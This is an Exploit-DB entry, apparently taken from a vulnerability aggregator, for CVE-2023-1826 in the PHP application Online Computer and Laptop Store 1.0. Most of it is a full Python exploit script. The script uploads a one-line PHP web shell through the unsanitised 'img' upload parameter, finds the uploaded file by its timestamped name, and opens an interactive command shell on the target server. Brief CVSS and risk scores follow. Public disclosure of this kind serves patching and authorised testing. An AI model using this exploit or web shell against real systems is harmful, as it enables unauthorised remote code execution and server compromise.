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Online Computer and Laptop Store 1.0 - Remote Code Execution (RCE)

🗓️ 10 Apr 2023 00:00:00Reported by Matisse BeckandtType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 269 Views

The application Online Computer and Laptop Store 1.0 is vulnerable to Remote Code Execution (RCE) through an unsecured 'img' parameter in '/classes/SystemSettings.php?f=update_settings', allowing attackers to upload and access PHP files for code execution

Related
Code
#!/usr/bin/env python3

# Exploit Title: Online Computer and Laptop Store 1.0 - Remote Code Execution (RCE)
# Date: 09/04/2023
# Exploit Author: Matisse Beckandt (Backendt)
# Vendor Homepage: https://www.sourcecodester.com/php/16397/online-computer-and-laptop-store-using-php-and-mysql-source-code-free-download.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ocls.zip
# Version: 1.0
# Tested on: Debian 11.6
# CVE : CVE-2023-1826

# Exploit Description : The application does not sanitize the 'img' parameter when sending data to '/classes/SystemSettings.php?f=update_settings'. An attacker can exploit this issue by uploading a PHP file and accessing it, leading to Remote Code Execution.
import requests
from argparse import ArgumentParser
from uuid import uuid4
from datetime import datetime, timezone

def interactiveShell(fileUrl: str):
    print("Entering pseudo-shell. Type 'exit' to quit")
    while True:
        command = input("\n$ ")
        if command == "exit":
            break

        response = requests.get(f"{fileUrl}?cmd={command}")
        print(response.text)

def uploadFile(url: str, filename: str, content):
    endpoint = f"{url}/classes/SystemSettings.php?f=update_settings"
    file = {"img": (filename, content)}

    response = requests.post(endpoint, files=file)
    return response

def getUploadedFileUrl(url: str, filename: str):
    timeNow = datetime.now(timezone.utc).replace(second=0) # UTC time, rounded to minutes
    epoch = int(timeNow.timestamp()) # Time in milliseconds
    possibleFilename = f"{epoch}_{filename}"
    fileUrl = f"{url}/uploads/{possibleFilename}"
    response = requests.get(fileUrl)
    if response.status_code == 200:
        return fileUrl

def exploit(url: str):
    filename = str(uuid4()) + ".php"
    content = "<?php system($_GET['cmd'])?>"
    response = uploadFile(url, filename, content)

    if response.status_code != 200:
        print(f"[File Upload] Got status code {response.status_code}. Expected 200.")

    uploadedUrl = getUploadedFileUrl(url, filename)
    if uploadedUrl == None:
        print("Error. Could not find the uploaded file.")
        exit(1)
    print(f"Uploaded file is at {uploadedUrl}")

    try:
        interactiveShell(uploadedUrl)
    except KeyboardInterrupt:
        pass
    print("\nQuitting.")

def getWebsiteURL(url: str):
    if not url.startswith("http"):
        url = "http://" + url
    if url.endswith("/"):
        url = url[:-1]
    return url

def main():
    parser = ArgumentParser(description="Exploit for CVE-2023-1826")
    parser.add_argument("url", type=str, help="The url to the application's installation. Example: http://mysite:8080/php-ocls/")
    args = parser.parse_args()

    url = getWebsiteURL(args.url)
    exploit(url)

if __name__ == "__main__":
    main()

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10 Apr 2023 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 3.16.3 - 9.8
CVSS 26.5
CVSS 36.3
EPSS0.03977
SSVC
269